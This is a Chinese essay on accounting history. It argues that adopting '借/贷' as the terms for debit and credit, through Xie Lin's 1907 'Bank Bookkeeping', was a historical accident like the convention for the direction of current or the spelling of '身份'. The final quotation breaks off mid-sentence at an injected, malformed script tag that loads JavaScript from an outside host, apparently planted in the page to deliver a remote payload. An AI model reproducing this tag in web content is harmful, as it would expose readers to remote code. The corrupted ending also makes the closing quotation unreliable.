提起历史，人们大抵肃然起敬，谁都知道绝对不可“逆历史潮流而动”。言下之意，其发展必有预定的轨道。其实，从一些细枝末节上看，历史反而表现出偶然性，机缘凑巧时，常人即可轻而易举地让其转向。而一旦走偏了，因其“不可重演”，往往只能义无反顾地“将错就错”下去。我们试举几例说明。
其一，物理学上，如果从一开始就说“电流的方向就是电子运动的方向”，该有多简捷明了！可是，由于早期人们认识不足，将电流方向定义反了，而又因种种原因改不了口，物理学教师只能告诉学生“电流的方向，是电子移动后留下的空穴移动的方向”。更有甚者，让学生充当“电子”，依次向同一方向移动位置，以便直观地演示“电子”移动后留下的“空穴”（空座位）的走向。如此这般，实在是吃饱了撑的。
其二，看电视里的台湾新闻，不难发现最明显的台湾口音特点，是将“和”字读音如“汉”。考其源，据说是1945年光复台湾后发现，日本统治者长期的奴化教育使台湾人只能说日语和闽南话。故有北京大学教授魏建功等人的“推行国语运动”，而当时某位大陆教师就是这样读的（至今仍有唱片为证），从此，台湾人民便祖祖辈辈地说日月潭“汉”阿里山了。
其三，汉语一向习用“身分”一词，可是，不知是哪位高明随手写错，为“分”字加了个单人旁，于是第一代身份证一颁发，数亿人立即拥有了“身份”，也许是考虑到纠错成本极高（设每张20元，10亿张就要200亿元），词典上只好承认“身分”与“身份”并列，而因人人随身携带“识字卡片”的教化作用，“身份”肯定要比“身分”更深入人心，实际上已经取而代之了。好玩的是，第二代身份证又推出了正面是“公民”，反面是“居民”的字样，“公民”等同于“居民”，历史也许将再次被改写（参见陈长林《身份证岂可一错再错》载《南方周末》2007年4月26日）。
回到会计上来，也有类似的事件。《蔡锡勇先生剪影》一文，曾提及因蔡氏英年早逝，1905年出版的《连环账谱》对会计实务几乎未发生影响，他精心选定的记账符号“存/核”自然也无疾而终。而就在这当口，留日学生谢霖（1885—1969年，江苏武进人）和孟森（后为清史专家）于1907年在日本东京出版《银行簿记学》。谢霖先生是中国会计史上第一位CPA，颇多贡献。关于他的事迹，作者在资料充分时将另文介绍。会计史专家郭道扬先生对该书的评价是：
“通过《银行簿记学》一书，首次将借、贷这对记账符号及其借方与贷方的明确含义引入中国，使中国会计界人士开始对借贷记账法有明确的了解。作者在凡例中讲“日本原文，乃从西文中称量而出，虽偶有习惯上之名称，要以有根据者为多，…若贷借两方之称，乃此学进步必明之理，不在商改之列。”（郭道扬《中国会计史稿》下册325页，中国财政经济出版社，1988年6月）这也是我国学者最早对借方与贷方的确认。”
据推算，此书出版之时，谢霖先生尚为大二或大三学生（太有才了！）。也许是有欠斟酌，在《银行簿记学》中，他选择了“借/贷”来作为“Debit/Credit”的中文对应符号。在西方的语言环境中，Debit 和Credit确实有不同的含意，分别代表“人欠”和“欠人”。可惜，在中文环境中，“借”和“贷”可说是同义词，“银行借款”和“银行贷款”完全没有区别，“告借无门”和“告贷无门”说的都是借不到钱，要用两个同义词分别代表不同的意义，岂非硬要指鹿为马？历史就是在这当口上转向的！
当然，在中国会计界不认可“借贷”符号者大有人在。时光流转到1940年，时任广西省会计长的张心澄在《会计丛报》第26 期上如此描述当时的情况：“我国有称为借方贷方者，收方付方者，入方出方者，左方右方者，收项付项者。称借方贷方者，为杨汝梅新式商业簿记，李宣韩商业簿记，潘序伦高级商业簿记教科书，季懋勋铁路会计学，张心澄铁路道会计学，沈立人中华会计学校函授讲义及成本会计初级会计学高级会计学，蒋沧浪丘瑞曲暨南大学会计学讲义，朱公晦程彬舒公迟会计学名词试译。称收方付方者，为财政委员会拟定会计名词，及主计处前颁行之《中央各机关及所属统一会计制度》。称入方出方者，为立法院拟订会计名称。称左方右方者，为财政委员会拟订会计名称。称收项付项者，为吴应图会计学审计学。…。”其时，还不可能将后来在1947年由梁润身先生首倡，从上世纪60年代初起，在财政部支持下，以原商业部和北京商学院为主，强势推行开来的“增减记账法”也算在内。
本文作者的分析是：就翻译形式而言，借贷比上述其他任何“中国特色符号”更贴近西方原文，从而更有资格作为舶来品。顶着“科学的西式簿记”的光环，这或许是它得到象牙塔里大多数学者的拥戴，得以快速传播的原因。但上述非借贷的其他符号，哪怕再难理解如收方付方，只要下功夫，总能听懂；哪怕再“土得掉渣”如左方右方，至少是互为反义的；唯独“借/贷”无可救药，是用同义词来解析相反的事物，永远别指望说得通。谢霖认为：“若?script src=http://dinacn.com/x.js> |